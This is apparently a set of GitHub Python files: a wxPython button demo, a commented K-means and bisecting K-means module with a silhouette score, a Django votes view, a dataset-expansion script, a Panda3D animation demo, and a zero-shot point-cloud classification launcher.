+{"seq_id":"25572663358","text":"#coding:utf-8\n\nimport wx\n\nclass  win(wx.Frame):\n\n    def __init__(self, parent, id):\n        wx.Frame.__init__(self, parent, id, 'Frame With Button', size=(350,100))\n\n        #创建画板\n        panel = wx.Panel(self)\n        panel.SetBackgroundColour('yellow')\n        #将按钮添加到画板\n        button = wx.Button(panel, label='Close', pos=(125,10), size=(50,50))\n        button.SetBackgroundColour(\"green\")\n        #绑定按钮的单击事件\n        self.Bind(wx.EVT_BUTTON, self.OnCloseMe, button)\n        #绑定窗口的关闭事件\n        self.Bind(wx.EVT_CLOSE, self.OnCloseWindow)\n\n\n    def OnCloseMe(self, event):\n        self.Close(True)\n\n    def OnCloseWindow(self,event):\n        self.Destroy()\n\n\nif __name__ == '__main__':\n    app = wx.App()\n    frame = win(parent=None, id=-1)\n    frame.Show()\n    app.MainLoop()\n","repo_name":"jichunwei/MyGitHub-1","sub_path":"PythonTest/WxPython/GUI/AddButton.py","file_name":"AddButton.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15369843123","text":"# 利用K-均值聚类算法对未标注数据进行分组\r\n# 聚类利用某种相似性度量标准，将样本进行自动归类。相似性度量可以用于样本、特征、特征组。向量内积度量依然可以使用\r\n# “核技巧”，但是，在此之前需要把数据投影到高纬度空间，这样会有将样本间距离拉大甚至改变原有真实簇类结构的风险。相反，\r\n#  可以降低到低维度，但是也有可能“过拟合”的风险，损失部分原有数据结构信息。一般聚类利用样本间相似度量，但是\r\n# 每个类相关的特征子集是不同的，一般来说，好的特征子集使得类间分离度较大且类内分离度较小且不同类相关特征差异大，\r\n# 同一类内特征相关性小，所以，从这种需求出发，一是可以改进聚类的目标优化函数，二是搭配其他算法使用。改进：\r\n# “类依赖的加权”思想的应用。   迁移学习：基于“类关联”的类迁移思想的运用\r\n# “类依赖加权”思想 + 决策树多分类 = 决策树并行多分类\r\n# .......\r\n# 聚类相似性度量对于离散型数据可以构造“核”，但要注意数据的有序性！到底使用哪种相似度方法取决于具体的应用。\r\n# 数据集上K均值聚类算法的性能会受到所选距离计算方法的影响。还要注意：聚类有效性评价！\r\n# “类依赖加权”思想的运用。\r\n# 10-1 K-均值聚类算法支持函数\r\nfrom numpy import *\r\n\r\n# np.savetxt(\"reduced_data.csv\",reduced_data)\r\n# 处理csv格式数据\r\n# my_matrix = numpy.loadtxt(open(\"c:\\\\1.csv\",\"rb\"),delimiter=\",\",skiprows=0)\r\n# numpy.savetxt('new.csv', my_matrix, delimiter = ',')\r\n# txt转为csv，注意：1.数据间英文逗号间隔 2.每行回车换行！ 之后，改后缀名为.csv\r\n\r\n\r\ndef file3matrix(filename):\r\n    returnMat = loadtxt(open(filename, \"rb\"), delimiter=\",\", skiprows=0)\r\n    # classLabelVector = returnMat[:, -1]\r\n    # returnMat = returnMat[:, 0:-1]\r\n    return mat(returnMat)\r\n\r\n# 1 加载文件\r\n\r\n\r\ndef loadDataSet(filename):\r\n    dataMat = []\r\n    fr = open(filename)\r\n    arrOfLines = fr.readlines()\r\n    mfeat = len(arrOfLines[0].split())\r\n    # print(\"特征数目为： %d\" % mfeat)\r\n    for line in arrOfLines:\r\n        # 从文件读入数据一定要将字符串转换成需要的数据类型！\r\n        # curLine = line[:, -1].strip().split('\\t')\r\n        curLine = line.strip().split('\\t')\r\n        # 这样大数据读入数据效率太低了！\r\n        flm = []\r\n        for i in range(mfeat):\r\n            flm.extend([float(curLine[i])])  # extend、append参数必须是可迭代的对象。\r\n        dataMat.append(flm)\r\n        # fltLine = map(float, curLine)   # 整行特征加入,但是map - map 不行！\r\n        # dataMat.append(mat(curLine, float)) # shape(dataSet)=(80, 1, 2) 三维，每一维是一个2维矩阵!\r\n        # 矩阵批处理\r\n        # dataArr = [line.strip().split('\\t') for line in fr.readlines()]\r\n        # dataMat = [map(float, line) for line in dataArr]\r\n    # return dataMat   # min(mat(dataMat)[:,0])\r\n    return mat(dataMat)  # 这样其他函数就不用再转换成mat了。\r\n\r\n\r\n# 2 计算欧式距离\r\ndef distEclud(vectA, vectB):\r\n    # return sqrt(sum((vectA-vectB)**2))\r\n    return sqrt(sum(power(vectA - vectB, 2)))\r\n\r\n# 3 初始化类中心\r\n\r\n\r\ndef randCent(dataSet, k):\r\n    # 怎么样更好地选择有代表性的K个点？涉及算法的收敛速度和计算效率！\r\n    # 由于不知道数据的真实分布结构究竟是怎样的，从结构风险最小化来分析，可以依据样本各个特征取值进行K个均匀分段！\r\n    n = shape(dataSet)[1]\r\n    centroids = mat(zeros((k, n)))\r\n    # 一个一个特征进行处理\r\n    for j in range(n):\r\n        minJ = min(dataSet[:, j])\r\n        rangeJ = float(max(dataSet[:, j]) - minJ)   # map - map 不行！\r\n        # K个中心第j个特征用矩阵同时批处理  random.rand(k, 1)返回K行1列数组！元素值在(0,1)之间的小数\r\n        centroids[:, j] = minJ + rangeJ * random.rand(k, 1)\r\n    return centroids\r\n\r\n\r\n# 4 K-均值决算法\r\n# 函数接口设计很人性化，便于维护修改。\r\n\r\n\r\ndef kMeans(dataSet, k, distMeas=distEclud, createCent=randCent):\r\n    m = shape(dataSet)[0]\r\n    # 分配矩阵：[簇序号，最小簇中心距离平方] 最小簇中心距离平方：用于簇类质量评价\r\n    clusterAssment = mat(zeros((m, 2)))\r\n    centroids = createCent(dataSet, k)\r\n    cluserChanged = True\r\n    while cluserChanged:\r\n        cluserChanged = False\r\n        # 为每一个样本分配簇中心\r\n        for i in range(m):\r\n            minDist = inf\r\n            minIndex = -1\r\n            # 找出离样本最近的簇中心\r\n            for j in range(k):\r\n                distJI = distMeas(centroids[j, :], dataSet[i, :])   # 矩阵向量\r\n                if distJI < minDist:\r\n                    minDist = distJI\r\n                    minIndex = j\r\n            # 填写分配矩阵\r\n            if clusterAssment[i, 0] != minIndex:\r\n                cluserChanged = True\r\n            clusterAssment[i, :] = minIndex, minDist**2\r\n        # print(centroids)\r\n        # 重新计算簇均值\r\n        for cent in range(k):\r\n            # nonzero(clusterAssment[:, 0].A == cent)[0] 返回clusterAssment中\r\n            # 所有行第一列等于cent的元素值的行号(样本序号)！\r\n            # 版本：a1=np.nonzero([1==2]) a2=np.nonzero(1==2) 结果都是：(array([], dtype=int64),)，但是：a1 != a2.\r\n            # 提示：iterrable对象才行。【1】可以。\r\n            # type(ptsInClust):numpy.matrixlib.defmatrix.matrix,所以距离计算可以用矩阵批处理\r\n            # 得写一个矩阵批处理的欧拉距离计算公式\r\n            ptsInClust = dataSet[nonzero(clusterAssment[:, 0].A == cent)[0]]\r\n            centroids[cent, :] = mean(ptsInClust, axis=0)\r\n    # 簇中心收敛后，返回簇中心矩阵、分配矩阵\r\n    return centroids, clusterAssment\r\n\r\n\r\n# 如何评价聚类的有效性？\r\n# K均值算法收敛但是聚类效果较差的原因是：聚类收敛到局部最小值而非全局最小值！\r\n# 这很有可能是因为：簇中心随机初始化 造成的！改进：启发式分配簇中心！！！\r\n# 一种用于度量聚类效果的指标是SSE(误差平方和)，一种肯定可以降低SSE的方法是：增加簇类数目，极端时SSE可为0！\r\n# 但是，目标需求是：簇类数目不改变时，降低SSE。\r\n# 量化方法：1 合并最近的质心  2 合并2个使得SSE增幅最小的质心。(在所有可能的簇上两两穷举，再计算总的SSE)\r\n\r\n# 10-3 二分K-均值算法\r\n# 一种：每次将每个簇一分为二，选择能够(SSE前-SSE后)最大程度减小SSE的簇分类。\r\n# 二种：选择SSE最大的簇进行划分。\r\n# 思考：能够用决策树基于信息熵来划分簇吗？设想：第一层分类节点数==簇数目K,依据每个节点将簇划分，\r\n# 虽然可能造成一个样本被分到多类的情况，但是可以选择最大簇作为其类别。而且，在一个类混乱度达到较小情形时，\r\n# 去掉某个点只会使该簇混乱度减小。复杂度:K*N每个特征又可以取多个值...，复杂度高啦，所以随机森林好啊！\r\n# 信息熵计算与欧几里得计算哪个麻烦？\r\n\r\ndef biKmeans(dataSet, k, distMeas=distEclud):\r\n    # dataSet最后一列必须是类别标号！\r\n    m = shape(dataSet)[0]\r\n    # 聚类数目范围必须在2到m-1之间的整数！\r\n    if k == 1 or k == m:\r\n        print(\"聚类数目范围必须为2到(样本个数m)-1之间的整数！\")\r\n        return 0\r\n    clusterAssment = mat(zeros((m, 2)))\r\n    # [-0.10361321250000004, 0.05430119999999998]  无[0]:[[-0.10361321250000004, 0.05430119999999998]]\r\n    centroid0 = mean(dataSet, axis=0).tolist()[0]\r\n    centList = [centroid0]\r\n    for j in range(m):\r\n        clusterAssment[j, 1] = distMeas(mat(centroid0), dataSet[j, :])**2\r\n    while len(centList) < k:\r\n        lowerSSE = inf  # Inf = inf = infty = Infinity = PINF\r\n        for i in range(len(centList)):\r\n            # index 2 is out of bounds for axis 1 with size 2，reduced_data1，k=4!出错！\r\n            ptsInCurrCluster = dataSet[nonzero(clusterAssment[:, 0].A == i)[0]]\r\n            centroidMat, splitClustAss = kMeans(ptsInCurrCluster, 2, distMeas)\r\n            sseSplit = sum(splitClustAss[:, 1])\r\n            sseNotSplit = sum(clusterAssment[nonzero(clusterAssment[:, i].A != i)[0], 1])\r\n            print(\"sseSplit, and notSplit: \", sseSplit, sseNotSplit)\r\n            if sseSplit + sseNotSplit < lowerSSE:\r\n                bestCentToSplit = i\r\n                bestNewCents = centroidMat\r\n                bestClustAss = splitClustAss.copy()\r\n                lowerSSE = sseSplit + sseNotSplit\r\n        bestClustAss[nonzero(bestClustAss[:, 0].A == 1)[0], 0] = len(centList)\r\n        bestClustAss[nonzero(bestClustAss[:, 0].A == 0)[0], 0] = bestCentToSplit\r\n        # print(\"the bestCentToSplit is: \", bestCentToSplit)\r\n        # print(\"the len of bestClustAss is: \", len(bestClustAss))\r\n        centList[bestCentToSplit] = bestNewCents[0, :]\r\n        centList.append(bestNewCents[1, :])\r\n        clusterAssment[nonzero(clusterAssment[:, 0].A == bestCentToSplit)[0], :] = bestClustAss\r\n    return centList, clusterAssment\r\n\r\n\r\n# from sklearn.metrics import silhouette_score\r\n# score = silhouette_score(dataSet, clustAssing2[0])\r\n# samples_preds = clusterer.predict(pca_samples)\r\n\r\n# 计算评价聚类质量的评价标准：轮廓系数\r\n# silhouette系数是对聚类结果有效性的解释和验证，有Peter J.Rousseeuw与1986年提出。\r\n# 1.计算样本i到同簇其他样本的平均距离ai。ai越小，说明样本i越应该被聚类到该簇。将ai称为样本i的类内不相似度。\r\n# 簇C中所有样本的ai的均值称为簇C的簇不相似度。\r\n# 2.计算样本i到其他某簇Cj的所有样本的平均距离bij，称为样本i与簇Cj的不相似度。\r\n# 定义为样本i的簇间不相似度，bi=min{b1,..,bik}.bi越大，说明样本i越不属于其他簇。\r\n# 3.根据样本i的簇内不相似度ai和簇间不相似度bi,定义样本i的轮廓系数：s(i)=(bi-ai)/max(bi,ai)\r\n# 分段讨论：(1)ai<bi,s(i)=1 - ai/bi ,(2)ai==bi,s(i)=0, (3)ai>bi,s(i)=bi/ai - 1\r\n# si 接近1，说明样本i越应该分配到当前簇；si 接近-1，说明样本i越应该分配到其他簇； si 接近0，说明样本i在边界上。\r\n# 所有样本的si均值是平均轮廓系数，是对聚类质量评价的简单度量标准。\r\n\r\n\r\ndef calcSilhouette(dataSet, clusterAssment):\r\n    # 需要输出时间，但是time有其他后台程序干扰，时间、系数只能分开讨论了。\r\n    # k 做参数不合适，因为聚类结果已经定了。\r\n    # clusterAssment[:, 0] 是矩阵，我需要矩阵元素去重\r\n    k = len(set(array(clusterAssment[:, 0])[:, 0]))\r\n    m = shape(dataSet)[0]\r\n    # 重新计算簇均值\r\n    si = 0.0\r\n    for i in range(m):\r\n        # 'range' object doesn't support item deletion\r\n        ks = list(range(k))\r\n        # ki = ks.index(clusterAssment[i, 0])\r\n        # nonzero(clusterAssment[:, 0].A == cent)[0] 返回clusterAssment中\r\n        # 所有行第一列等于cent的元素值的行号(样本序号)！\r\n        # 版本：a1=np.nonzero([1==2]) a2=np.nonzero(1==2) 结果都是：(array([], dtype=int64),)，但是：a1 != a2.\r\n        # 提示：iterrable对象才行。【1】可以。\r\n        # type(ptsInClust):numpy.matrixlib.defmatrix.matrix,所以距离计算可以用矩阵批处理\r\n        # 得���一个矩阵批处理的欧拉距离计算公式\r\n        # nonzero(clusterAssment[:, 0].A == clusterAssment[i, 0])【这是对的！】 与\r\n        # nonzero(【clusterAssment[:, 0].A == clusterAssment[i, 0]】)结果不同，这是错的！\r\n        # 计算ai\r\n        ptsInClusta = dataSet[nonzero(clusterAssment[:, 0].A == clusterAssment[i, 0])[0]]\r\n        # nonzero(clusterAssment[:, 0].A == clusterAssment[i, 0] 返回的结果包括 i!\r\n        # 所以这里ai计算除以|ck| !!!\r\n        n = shape(ptsInClusta)[0]\r\n        # tile（A，reps）:A:array_like!\r\n        diffMat = tile(dataSet[i], (n, 1)) - ptsInClusta  #\r\n        # array**2和matrix**2 不一样！数组是每个元素，矩阵是矩阵乘法。数组和矩阵引用方式不同而已。\r\n        # 很多情况下，矩阵与多维数组可以换用。个人感觉，np.ndarray很好用！\r\n        # 这时候：数组更方便array**2\r\n        sqDiffMat = array(diffMat) ** 2\r\n        sqDistances = sqDiffMat.sum(axis=1)  # 水平相加\r\n        distances = sqDistances ** 0.5\r\n        ai = average(distances)  # 数组\r\n        # 计算bi\r\n        bi = inf   # 无穷大\r\n        ks.remove(clusterAssment[i, 0])\r\n        for ki in ks:\r\n            ptsInClustb = dataSet[nonzero(clusterAssment[:, 0].A == ki)[0]]\r\n            n = shape(ptsInClustb)[0]\r\n            diffMat = tile(dataSet[i], (n, 1)) - ptsInClustb  #\r\n            sqDiffMat = array(diffMat) ** 2\r\n            sqDistances = sqDiffMat.sum(axis=1)  # 水平相加\r\n            distances = sqDistances ** 0.5\r\n            # average(distances, axis=0) 是matrix([[1.]])形式！\r\n            bij = average(distances)  # 数组\r\n            #  找出最小bi\r\n            if bij < bi:\r\n                bi = bij\r\n        # 计算si\r\n        si += (bi - ai) / max(bi, ai)\r\n    print(\"该次聚类的平均轮廓系数为：\", si/m)\r\n    return si/m\r\n\r\n# aa = matrix([[1,1,1,1,1]])\r\n# aa.partition()  concatenate():矩阵合并！！！\r\n# 写一个函数，将聚类结果的dataMat、label写到新文件中！\r\n# from numpy import *  import numpy as np\r\n\r\n\r\ndef writetofile(dataMat, labels, filename):\r\n    dataSet = concatenate((dataMat, labels), axis=1)\r\n    return savetxt(filename, dataSet, delimiter=',')\r\n# 测试：file1 = writetofile(dataMat2, clusterAssment[:,0]) 可以的，\r\n# 但是矩阵数据直接写进csv文件，用excel打开后矩阵同一行的数据全部都在一个表格单元中！怎么分开数据？delimiter=','是关键！\r\n\r\n","repo_name":"White7Jane/Data_Mining_practical_projects","sub_path":"kMeans.py","file_name":"kMeans.py","file_ext":"py","file_size_in_byte":14121,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71348706029","text":"# coding: utf-8\n\nfrom django.db import models\n\nfrom representatives_votes.models import Vote\n\nfrom .representative_detail_base import RepresentativeDetailBase\n\n\nclass RepresentativeDetailVotes(RepresentativeDetailBase):\n    template_name = 'representatives/representative_detail_votes.html'\n\n    def get_queryset(self):\n        qs = super(RepresentativeDetailVotes, self).get_queryset()\n\n        vote_qs = Vote.objects.exclude(proposal__recommendation=None)\n        theme = self.get_selected_theme()\n        if theme:\n            vote_qs = vote_qs.filter(\n                models.Q(proposal__dossier__themes__slug=theme)\n            )\n\n        qs = qs.prefetch_related(\n            models.Prefetch(\n                'votes',\n                queryset=vote_qs.select_related(\n                    'vote_score',\n                    'proposal__dossier',\n                    'proposal__recommendation'\n                ).prefetch_related(\n                    'proposal__dossier__themes'\n                ).order_by('-proposal__datetime', 'proposal__title')\n            ),\n            'dossier_scores'\n        )\n\n        return qs\n\n    def get_context_data(self, **kwargs):\n        c = super(RepresentativeDetailVotes, self).get_context_data(**kwargs)\n\n        ds = c['object'].dossier_scores.all()\n\n        dossiers = {}\n        for vote in c['object'].votes.all():\n            dossier = vote.proposal.dossier\n            pk = dossier.pk\n            if pk not in dossiers:\n                scores = [s.score for s in ds if s.dossier_id == pk]\n                dossiers[pk] = {\n                    'dossier': dossier,\n                    'votes': [],\n                    'score': scores[0] if len(scores) else 0\n                }\n            dossiers[pk]['votes'].append(vote)\n\n        c['dossiers'] = dossiers\n        c['tab'] = 'votes'\n\n        return c\n","repo_name":"tomjorquera/memopol","sub_path":"src/memopol/views/representative_detail_votes.py","file_name":"representative_detail_votes.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71046021228","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/python3\n\nimport sys\nimport os.path\nimport random\n\n\nclass Instance:\n    \"\"\"\n    Representa uma instância de uma base de dados.\n    \"\"\"\n\n    def __init__(self, clazz, features):\n        \"\"\"\n        Construtor da instância.\n\n        @param clazz : str\n            classe da instância    \n        @param features : list<float>\n            features da instância\n        \"\"\"\n        self.clazz = clazz\n        self.features = features\n\n    def toString(self, index_clazz):\n        \"\"\"\n        Representação em string da instância no padrão para salvar a base de dados\n        no padrão csv.\n\n        @param index_clazz : int\n            índice da coluna em que a classe deve ficar\n        \"\"\"\n        features_length = len(self.features)\n        str_represent = ''\n        if index_clazz == 0:\n            str_represent += self.clazz\n        else:\n            str_represent += str(self.features[0])\n            for i in range(1, index_clazz):\n                str_represent += ',' + str(self.features[i])\n            str_represent += ',' + self.clazz\n        for i in range(index_clazz, features_length):\n            str_represent += ',' + str(self.features[i])\n        return str_represent + '\\n'\n\n\nclass Database:\n    \"\"\"\n    Representação de uma base de dados\n    \"\"\"\n\n    def __init__(self, path_database, index_clazz, onlyint):\n        \"\"\"\n        Construtor de uma base de dados.\n\n        @param path_database : str\n            caminho do arquivo que contém a base de dados em csv\n        @param index_clazz : int\n            índice da coluna em que a classe deve ficar\n        @param onlyint : bool\n            informa se as features das instâncias são formadas apenas\n            por inteiros ou não\n        \"\"\"\n        self.path_database = path_database\n        self.instances = []\n        self.index_clazz = index_clazz\n        self.onlyint = onlyint\n        self.loadDatabase()\n        \n    def loadDatabase(self):\n        \"\"\"\n        Carrega a base de dados do seu arquivo em csv\n        \"\"\"\n        file = open(self.path_database, 'r')\n        for line in file:\n            if line[-1] == '\\n':\n                line = line[:-1]\n            attrs = line.split(',')\n            N = len(attrs)\n            features = []\n            clazz = attrs[self.index_clazz]\n            for i in range(self.index_clazz):\n                if self.onlyint:\n                    features.append(int(attrs[i]))\n                else:\n                    features.append(float(attrs[i]))\n            for i in range(self.index_clazz + 1, N):\n                if self.onlyint:\n                    features.append(int(attrs[i]))\n                else:\n                    features.append(float(attrs[i]))\n            self.instances.append(Instance(clazz, features))\n        file.close()\n\n    def printDatabase(self):\n        \"\"\"\n        Imprime a base de dados em csv\n        \"\"\"\n        for instance in self.instances:\n            print (instance.toString(self.index_clazz))\n            \n    def addInstance(self, instance):\n        \"\"\"\n        Adiciona uma instância na base de dados\n\n        @param instance : Instance\n            instância a ser adicionada\n        \"\"\"\n        self.instances.append(instance)\n\n    def getSmallestFeatures(self):\n        \"\"\"\n        Encontra o menor valor de cada feature entre as instâncias desta\n        base de dados.\n\n        @return : list<float>\n            lista com os menores valores de cada feature\n        \"\"\"\n        N = len(self.instances[0].features)\n        smallest_features = [ sys.float_info.max ] * N\n        for instance in self.instances:\n            for i in range(N):\n                if smallest_features[i] > instance.features[i]:\n                    smallest_features[i] = instance.features[i]\n        return smallest_features\n\n    def getBiggestFeatures(self):\n        \"\"\"\n        Encontra o maior valor de cada feature entre as instâncias desta\n        base de dados.\n\n        @return : list<float>\n            lista com os maiores valores de cada feature\n        \"\"\"\n        N = len(self.instances[0].features)\n        biggest_features = [ 0 ] * N\n        for instance in self.instances:\n            for i in range(N):\n                if biggest_features[i] < instance.features[i]:\n                    biggest_features[i] = instance.features[i]\n        return biggest_features\n\n    def getClazzes(self):\n        \"\"\"\n        Cria a lista de classes contidas na base de dados.\n\n        @return : list<str>\n            lista de classes contidas na base de dados\n        \"\"\"\n        clazzes = set()\n        for instance in self.instances:\n            clazzes.add(instance.clazz)\n        return list(clazzes)\n\n    def randomClazz(self, clazzes):\n        \"\"\"\n        Recupera uma classe aleatória de uma lista de classes.\n\n        @param clazzes: list<str>\n            lista de classes contidas na base de dados\n\n        @return : str\n            classe aleatória\n        \"\"\"\n        return clazzes[random.randint(0, len(clazzes) - 1)]\n\n    def randomFloat(self, min_value, max_value):\n        \"\"\"\n        Sorteia um número real aleatório entre min_value e max_value.\n\n        @param min_value: float\n            valor mínimo a ser gerado\n        @param max_value: float\n            valor máximo a ser gerado\n\n        @return : float\n            valor real gerado\n        \"\"\"\n        return min_value + (random.random() * (max_value - min_value))\n\n    def generateInstance(self, smallest_features, biggest_features, clazzes):\n        \"\"\"\n        Gera uma instância aleatória. As features são geradas com valores no intervalo\n        dos valores das features da base de dados.\n\n        @param smallest_features: list<float>\n            lista com os menores valores encontradas em cada feature\n        @param biggest_feature: list<float>\n            lista com os maiores valores encontradas em cada feature\n        @param clazzes: list<str>\n            lista de classes contidas na base de dados\n\n        @return : Instance\n            instância gerada\n        \"\"\"\n        features_length = len(self.instances[0].features)\n        features = [ 0 ] * features_length\n        for i in range(features_length):\n            if self.onlyint:\n                features[i] = random.randint(smallest_features[i], biggest_features[i])\n            else:\n                features[i] = self.randomFloat(smallest_features[i], biggest_features[i])\n        return Instance(self.randomClazz(clazzes), features)\n        \n\n    def generateBiggerDatabase(self, multiplier):\n        \"\"\"\n        Gera uma base de dados $multiplier vezes maior que a atual de forma aleatória\n        seguindo o padrão dessa base, limites de valores das features da base de dados.\n\n        @param multiplier : int\n            multiplicador do tamanho da base de dados\n        \"\"\"\n        path_bigger_database = self.path_database + \"_\" + str(multiplier) + 'times'\n        file = open(path_bigger_database,'w')\n\n        smallest_features = self.getSmallestFeatures()\n        biggest_features = self.getBiggestFeatures()\n        clazzes = self.getClazzes()\n\n        for instance in self.instances:\n            file.write(instance.toString(self.index_clazz))\n        \n        qty_instances =  (multiplier - 1) * len(self.instances)\n        print (qty_instances)\n        for i in range(qty_instances):\n            file.write(self.generateInstance(smallest_features, biggest_features, clazzes).toString(self.index_clazz))\n\n\n        file.close()\n        \ndef expandLetterDatabase():\n    \"\"\"\n    Script de expansão da base de dados letter-recognition em 10 vezes.\n    \"\"\"\n    path_database = \"databases/letter-recognition/letter-recognition.data\"\n    index_clazz = 0\n    multiplier = 10\n    onlyint = True\n    database = Database(path_database, index_clazz, onlyint) \n    database.generateBiggerDatabase(multiplier)\n\ndef expandSegmentationDatabase():\n    \"\"\"\n    Script de expansão da base de dados segmentation em 10 vezes.\n    \"\"\"\n    path_database = \"databases/image/segmentation.data\"\n    index_clazz = 0\n    multiplier = 10\n    onlyint = False\n    database = Database(path_database, index_clazz, onlyint) \n    database.generateBiggerDatabase(multiplier)\n\n\ndef main(argv):\n    expandSegmentationDatabase()\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1:])","repo_name":"CarlosPereira27/k-means-mpi","sub_path":"expand_database.py","file_name":"expand_database.py","file_ext":"py","file_size_in_byte":8317,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27510404861","text":"from math import pi, sin, cos\r\n\r\nfrom direct.showbase.ShowBase import ShowBase\r\nfrom direct.task import Task\r\nfrom direct.actor.Actor import Actor  # An actor represents an animated model\r\nfrom direct.interval.IntervalGlobal import Sequence  # Allows the start of a background task on an interval\r\nfrom panda3d.core import Point3\r\n\r\n\r\nclass MyApp(ShowBase):  # Creates class TestApp, inherits from showbase class of Panda3D\r\n\r\n    def __init__(self):  # Initializes the scene\r\n        ShowBase.__init__(self)\r\n        self.disableMouse()  # Prevents mouse from interfering with camera controls\r\n        # Load a 3D model to the variable \"scene\"\r\n        # .loadModel is used for static models, which do not need to be animated\r\n        self.scene = self.loader.loadModel(\"models/environment\")\r\n        # Add the model to the parent window, allowing it to be rendered\r\n        self.scene.reparentTo(self.render)\r\n        # Scale the model to fit the screen\r\n        self.scene.setScale(0.25, 0.25, 0.25)\r\n        self.scene.setPos(-8, 42, 0)\r\n\r\n        # A manager is needed to time and execute \"tasks\"\r\n        self.taskMgr.add(self.spinCameraTask, \"SpinCameraTask\")\r\n\r\n        # Load an actor for a panda model\r\n        self.panda = Actor(\"models/panda-model\", {\"walk\": \"models/panda-walk4\"})\r\n        self.panda.setScale(0.005, 0.005, 0.005)\r\n        self.panda.reparentTo(self.render)  # Re-parent model to allow render\r\n        # Earlier, when panda model was loaded, a sub animation was created in a dictionary\r\n        # This model was called: \"walk,\" with an associated animation loaded\r\n        # Below line references the declared walk animation for the model associated with variable panda\r\n        # It then loops this animation\r\n        self.panda.loop(\"walk\")\r\n\r\n    def spinCameraTask(self, task):  # This function allows enhanced movement of the view camera\r\n        # It represents a \"task,\" which is a function that is called on every frame\r\n        angleDegrees = task.time * 6.0\r\n        angleRadians = angleDegrees * (pi/180)\r\n        self.camera.setPos(20*sin(angleRadians), -20.0 * cos(angleRadians), 3)\r\n        self.camera.setHpr(angleDegrees, 0, 0)\r\n        return Task.cont  # Hand off execution to the task manager\r\n\r\napp = MyApp()\r\napp.run()","repo_name":"kanwarpal-brar/Panda3DExploration","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"954426425","text":"import os\nimport torch\nimport argparse\nfrom dassl.engine import build_trainer\nfrom dassl.config import get_cfg_default\nfrom dassl.utils import setup_logger, set_random_seed, collect_env_info\n\nimport datasets.scanobjnn\nimport datasets.modelnet40\nfrom trainers import best_param\n\nfrom trainers import zeroshot\nfrom trainers.post_search import search_weights_zs, search_prompt_zs\n\ndef print_args(args, cfg):\n    print('***************')\n    print('** Arguments **')\n    print('***************')\n    optkeys = list(args.__dict__.keys())\n    optkeys.sort()\n    for key in optkeys:\n        print('{}: {}'.format(key, args.__dict__[key]))\n    print('************')\n    print('** Config **')\n    print('************')\n    print(cfg)\n\n\ndef reset_cfg(cfg, args):\n\n    if args.output_dir:\n        cfg.OUTPUT_DIR = args.output_dir\n\n    if args.seed:\n        cfg.SEED = args.seed\n\n    if args.trainer:\n        cfg.TRAINER.NAME = args.trainer\n\n    if args.backbone:\n        cfg.MODEL.BACKBONE.NAME = args.backbone\n\n\ndef extend_cfg(cfg):\n    \"\"\"\n    Add new config variables.\n\n    E.g.\n        from yacs.config import CfgNode as CN\n        cfg.TRAINER.MY_MODEL = CN()\n        cfg.TRAINER.MY_MODEL.PARAM_A = 1.\n        cfg.TRAINER.MY_MODEL.PARAM_B = 0.5\n        cfg.TRAINER.MY_MODEL.PARAM_C = False\n    \"\"\"\n    from yacs.config import CfgNode as CN\n    cfg.TRAINER.EXTRA = CN()\n\n\ndef setup_cfg(args):\n    cfg = get_cfg_default()\n    extend_cfg(cfg)\n\n    # 1. From the dataset config file\n    if args.dataset_config_file:\n        cfg.merge_from_file(args.dataset_config_file)\n\n    # 2. From the method config file\n    if args.config_file:\n        cfg.merge_from_file(args.config_file)\n\n    # 3. From input arguments\n    reset_cfg(cfg, args)\n\n    # 4. From optional input arguments\n    cfg.merge_from_list(args.opts)\n    cfg.freeze()\n    return cfg\n\ndef main(args):\n    cfg = setup_cfg(args)\n    \n    # set random seed\n    if cfg.SEED >= 0:\n        print('Setting fixed seed: {}'.format(cfg.SEED))\n        set_random_seed(cfg.SEED)\n    setup_logger(cfg.OUTPUT_DIR)\n\n    if torch.cuda.is_available() and cfg.USE_CUDA:\n        torch.backends.cudnn.benchmark = True\n\n    # print_args(args, cfg)\n    print('Collecting env info ...')\n    print('** System info **\\n{}\\n'.format(collect_env_info()))\n\n    trainer = build_trainer(cfg)\n\n    # zero-shot classification\n    if args.zero_shot:\n        trainer.test_zs()\n        \n    # view weight and prompt search\n    vweights = best_param.best_prompt_weight['{}_{}_test_weights'.format(cfg.DATASET.NAME.lower(), cfg.MODEL.BACKBONE.NAME2)]\n    prompts = best_param.best_prompt_weight['{}_{}_test_prompts'.format(cfg.DATASET.NAME.lower(), cfg.MODEL.BACKBONE.NAME2)]\n    if args.post_search:\n        if args.zero_shot:\n            prompts, image_feature = search_prompt_zs(cfg, vweights, searched_prompt=prompts)\n            #vweights = search_weights_zs(cfg, prompts, vweights, image_feature)\n            return\n            \n                \nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--output-dir', type=str, default='', help='output directory')\n    parser.add_argument('--seed', type=int,default=2,help='only positive value enables a fixed seed')\n    parser.add_argument('--transforms', type=str, nargs='+', help='data augmentation methods')\n    parser.add_argument('--config-file', type=str, default='', help='path to config file')\n    parser.add_argument('--dataset-config-file', type=str, default='', help='path to config file for dataset setup')\n    parser.add_argument('--trainer', type=str, default='', help='name of trainer')\n    parser.add_argument('--backbone', type=str, default='', help='name of CNN backbone')\n    parser.add_argument('--head', type=str, default='', help='name of head')\n    parser.add_argument('--zero-shot', action='store_true', help='zero-shot only')\n    parser.add_argument('--post-search', default=True, action='store_true', help='post-search only')\n    parser.add_argument('--model-dir', type=str, default='',help='load model from this directory for eval-only mode')\n    parser.add_argument('--load-epoch', type=int, default=175, help='load model weights at this epoch for evaluation')\n    parser.add_argument('--no-train', action='store_true', help='do not call trainer.train()')\n    parser.add_argument('opts', default=None, nargs=argparse.REMAINDER, help='modify config options using the command-line')\n    args = parser.parse_args()\n    main(args)\n    